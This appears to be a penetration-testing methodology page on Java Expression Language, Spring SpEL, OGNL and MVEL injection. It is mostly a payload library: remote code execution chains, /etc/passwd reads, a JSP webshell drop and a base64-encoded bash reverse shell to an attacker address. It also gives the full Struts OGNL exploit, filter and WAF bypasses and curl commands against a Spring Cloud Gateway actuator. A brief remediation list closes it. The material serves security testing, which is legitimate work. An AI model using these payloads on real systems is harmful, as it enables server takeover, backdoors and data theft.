Expression Language Injection (EL / SpEL)
Severity: Critical | CWE: CWE-917 OWASP: A03:2021 – Injection
What Is Expression Language Injection?
Expression Language (EL) is used in Java-based frameworks to bind data between UI and business logic. When user input is evaluated as an EL expression, the attacker gains access to the full Java runtime — leading to RCE. Two distinct attack surfaces:
Java EL (JSP/JSF/Jakarta EE):
- Used in
${...}and#{...}contexts in.jsp,.jsf,.xhtmlfiles - Evaluated server-side by the EL runtime (JUEL, Eclipse Mojarra, etc.)
- Access to
Runtime,ProcessBuilder, class loading chain
Spring SpEL (Spring Expression Language):
- Used in
@Value,@PreAuthorize,@PostFilter, XML config, and anyExpressionParsercall - Evaluated via
StandardEvaluationContext— full Java access unless sandboxed withSimpleEvaluationContext - Common in Spring Data, Spring Security expressions, Spring Cloud Gateway, Spring Boot Actuator
Vulnerable pattern:
String expr = "Hello " + userInput; // JSP page expression
ExpressionParser p = new SpelExpressionParser();
p.parseExpression(expr).getValue(ctx); // SpEL with user data
Discovery Checklist
Phase 1 — Fingerprint
- Identify Java-based stack: JSP, JSF, Spring, Struts, Grails, Thymeleaf
- Find input reflected in output that might pass through EL: search fields, error messages, user profile display, URL parameters used in page templates
- Inject probe:
${7*7}— if response shows49→ EL executed - Inject probe:
#{7*7}— JSF deferred evaluation - Inject
${1+1}in: form fields, HTTP headers, cookies, JSON body, filenames - Check error messages for EL-related stack traces (javax.el, org.springframework.expression)
Phase 2 — Context Determination
- Determine EL version: JUEL, Unified EL, SpEL, MVEL, OGNL (Struts), Pebble
- Test
${pageContext}— JSP context available? - Test
${request.getHeader('User-Agent')}— HTTP context? - Test
${applicationScope}— app-wide context? - Test
T(java.lang.Runtime)— SpEL type reference?
Phase 3 — Exploitation
- Confirm OOB via DNS before attempting RCE
- Test all bypass techniques if input seems filtered
- Check for
SimpleEvaluationContextrestriction (blocks type references) - Look for indirect SpEL sinks: Spring Cloud Gateway predicates/filters, Spring Security
@PreAuthorizewith user-controlled params
Payload Library
Payload 1 — Java EL Detection & Basic RCE
// Detection probes — any reflection of the evaluated result confirms injection:
${7*7} // → 49
#{7*7} // JSF deferred → 49
${7*'7'} // type coercion test → 49 or 7777777
${"".class.getName()} // → java.lang.String
${request.getClass().getName()} // → reveals EL context class
// Read system property (no RCE, just info):
${System.getProperty('java.version')}
${System.getProperty('os.name')}
${System.getenv('PATH')}
${System.getProperty('user.dir')}
// Java EL RCE via Runtime:
${"".class.forName("java.lang.Runtime").getMethod("exec","".class).invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
// Cleaner RCE — using ProcessBuilder:
${pageContext.setAttribute("x","".getClass().forName("java.lang.ProcessBuilder"))}
${pageContext.getAttribute("x").getDeclaredConstructors()[0].newInstance([["id"]]).start()}
// Read /etc/passwd:
${"".class.forName("java.util.Scanner").getDeclaredConstructors()[0].newInstance("".class.forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance([["cat","/etc/passwd"]]).start().getInputStream()).useDelimiter("\\A").next()}
Payload 2 — Spring SpEL RCE
// Standard SpEL RCE — T() type reference:
T(java.lang.Runtime).getRuntime().exec('id')
T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','id'})
T(java.lang.ProcessBuilder).new(new String[]{'id'}).start()
// Read command output (ProcessBuilder + InputStream):
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()
// Reverse shell:
T(java.lang.Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQUtFUl9JUC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}')
// Detect DNS OOB (no output needed):
T(java.net.InetAddress).getByName('COLLABORATOR_ID.oast.pro')
new java.net.URL('http://COLLABORATOR_ID.oast.pro/spel').openStream()
// File read:
new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\\A').next()
// File write (drop webshell):
new java.io.FileOutputStream('/var/www/html/shell.jsp').write('<%=Runtime.getRuntime().exec(request.getParameter("c"))%>'.getBytes())
// System properties dump:
T(System).getProperties()
T(System).getenv()
Payload 3 — SpEL Injection via HTTP Parameters
# Spring Cloud Gateway (CVE-class pattern — route predicate injection):
# Routes defined via Actuator API accept SpEL in certain filter configurations
# Test via /actuator/gateway/routes POST:
curl -s -X POST https://target.com/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"predicates": [{"name":"Path","args":{"_genkey_0":"/test"}}],
"filters": [{
"name": "AddRequestHeader",
"args": {
"name": "X-Test",
"value": "#{T(java.lang.Runtime).getRuntime().exec(\"id\")}"
}
}],
"uri": "https://target.com"
}'
# Spring Data REST — projection SpEL injection:
# GET /api/users?projection=#{T(java.lang.Runtime).getRuntime().exec('id')}
# Spring Security @PreAuthorize with user-controlled params:
# @PreAuthorize("hasPermission(#entity, '" + userInput + "')")
# Inject: ' + T(java.lang.Runtime).getRuntime().exec('id') + '
# Thymeleaf template injection (different from SpEL but Java-based):
# __${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
# ${__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('A').next()}__}
Payload 4 — Bypass Techniques
// === Bypass: filter blocks "Runtime" string ===
// String concatenation:
T(java.lang.Ru + ntime) // won't work in SpEL, use concat:
T(java.lang.Class).forName("java.lang.Runt" + "ime").getRuntime().exec("id")
// Reflection via forName:
"".class.forName("java.lang.Runtime").getMethod("exec", "".class)
.invoke("".class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id")
// === Bypass: filter blocks T() operator ===
// Use reflection directly:
''.class.getSuperclass().forName('java.lang.Runtime').getRuntime().exec('id')
// Via classloader:
''.class.getClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('id')
// === Bypass: filter blocks "exec" ===
// getMethod by index position (index depends on JDK version — brute force):
"".class.forName("java.lang.Runtime").getMethods()[5].invoke(
"".class.forName("java.lang.Runtime").getMethods()[6].invoke(null), "id")
// === Bypass: SimpleEvaluationContext (blocks T()) ===
// Requires a bean that exposes a dangerous method — check applicationContext:
@beanName.dangerousMethod(payload)
// Or: use constructor injection via #this if class has dangerous constructor
// === Bypass: WAF filters ${...} ===
// CRLF-split:
${\u007b7*7\u007d} // unicode braces
%24%7b7*7%7d // URL encode entire expression
%24%257b7*7%257d // double encode
// Bypass via JSF deferred #{...}:
#{7*7} // same EL engine, different syntax
// Bypass via nested expressions (EL within EL):
${'${7*7}'} // outer evaluates inner as string — doesn't work
// Use attribute setting to chain:
${session.setAttribute("x","value")}${session.getAttribute("x")}
Payload 5 — OGNL Injection (Apache Struts)
// OGNL used in Struts 2 — if user input reaches OGNL evaluation:
// Basic detection:
%{7*7}
%{'test'.class.getName()}
// RCE via OGNL:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#is=#process.getInputStream()).(#flushableWriter=new java.io.OutputStreamWriter(#ros)).(#pw=new java.io.PrintWriter(#flushableWriter)).(#pw.println(new java.util.Scanner(#is).useDelimiter('\\A').next())).(#pw.flush())}
// Short OGNL with #context:
%{#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("X-Pwned","true")}
// Via Content-Type header injection (Struts file upload endpoint):
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)...}
Payload 6 — MVEL / Seam Injection
// MVEL (JBoss Seam, Drools):
// Detection:
@{7*7}
#{7*7}
// RCE:
@{Runtime.getRuntime().exec('id')}
#{Runtime.getRuntime().exec('id')}
// Read file:
@{new java.util.Scanner(new java.io.File('/etc/passwd')).useDelimiter('\\A').next()}
// Seam framework — framework-specific EL context:
#{facesContext.externalContext.request.getSession(false).invalidate()}
#{facesContext.externalContext.redirect('http://attacker.com')}
Tools
# tplmap — also covers EL injection:
git clone https://github.com/epinna/tplmap
python3 tplmap.py -u "https://target.com/search?q=*" \
--engine EL --level 5
# Manual SpEL detection with curl:
curl -s "https://target.com/search?q=%24%7b7*7%7d"
curl -s "https://target.com/search?q=%23%7b7*7%7d" # JSF
# Detect Spring:
curl -sI https://target.com/ | grep -i "x-powered-by\|server"
curl -s https://target.com/actuator/env 2>/dev/null | python3 -m json.tool | head -30
# Spring Boot Actuator — check for exposed endpoints:
for ep in env health info mappings beans routes; do
curl -s "https://target.com/actuator/$ep" 2>/dev/null | head -3
done
# OOB DNS test for SpEL:
curl -s "https://target.com/api/filter?expr=T(java.net.InetAddress).getByName('COLLAB.oast.pro')"
# burp active scan covers SpEL — check "Server-Side Template Injection" issues
# Nuclei templates for EL/SpEL:
nuclei -u https://target.com -t exposures/configs/spring-actuator.yaml
nuclei -u https://target.com -t network/detect/spring-detection.yaml
# Find SpEL in source code:
grep -rn "parseExpression\|ExpressionParser\|SpelExpression\|EvaluationContext" \
--include="*.java" src/ | grep -v "SimpleEvaluationContext"
# SimpleEvaluationContext is safe — StandardEvaluationContext with user input is not
Remediation Reference
- Never evaluate user input as EL/SpEL expression — validate and encode before interpolation
- SpEL: use
SimpleEvaluationContextinstead ofStandardEvaluationContextfor user-facing expressions — blocksT()operator and reflection - Spring Cloud Gateway: do not expose
/actuator/gatewaypublicly; disable route modification via Actuator - Struts 2: update to patched version, disable OGNL evaluation for all user-facing inputs, use
struts.enable.DynamicMethodInvocation=false - Template engines: use sandboxed rendering modes — never concatenate user input into template strings
- Input validation: reject
${,#{,%{,T(,@{patterns at input boundary - WAF rules: block EL expression syntax patterns as defense-in-depth
Part of the Web Application Penetration Testing Methodology series.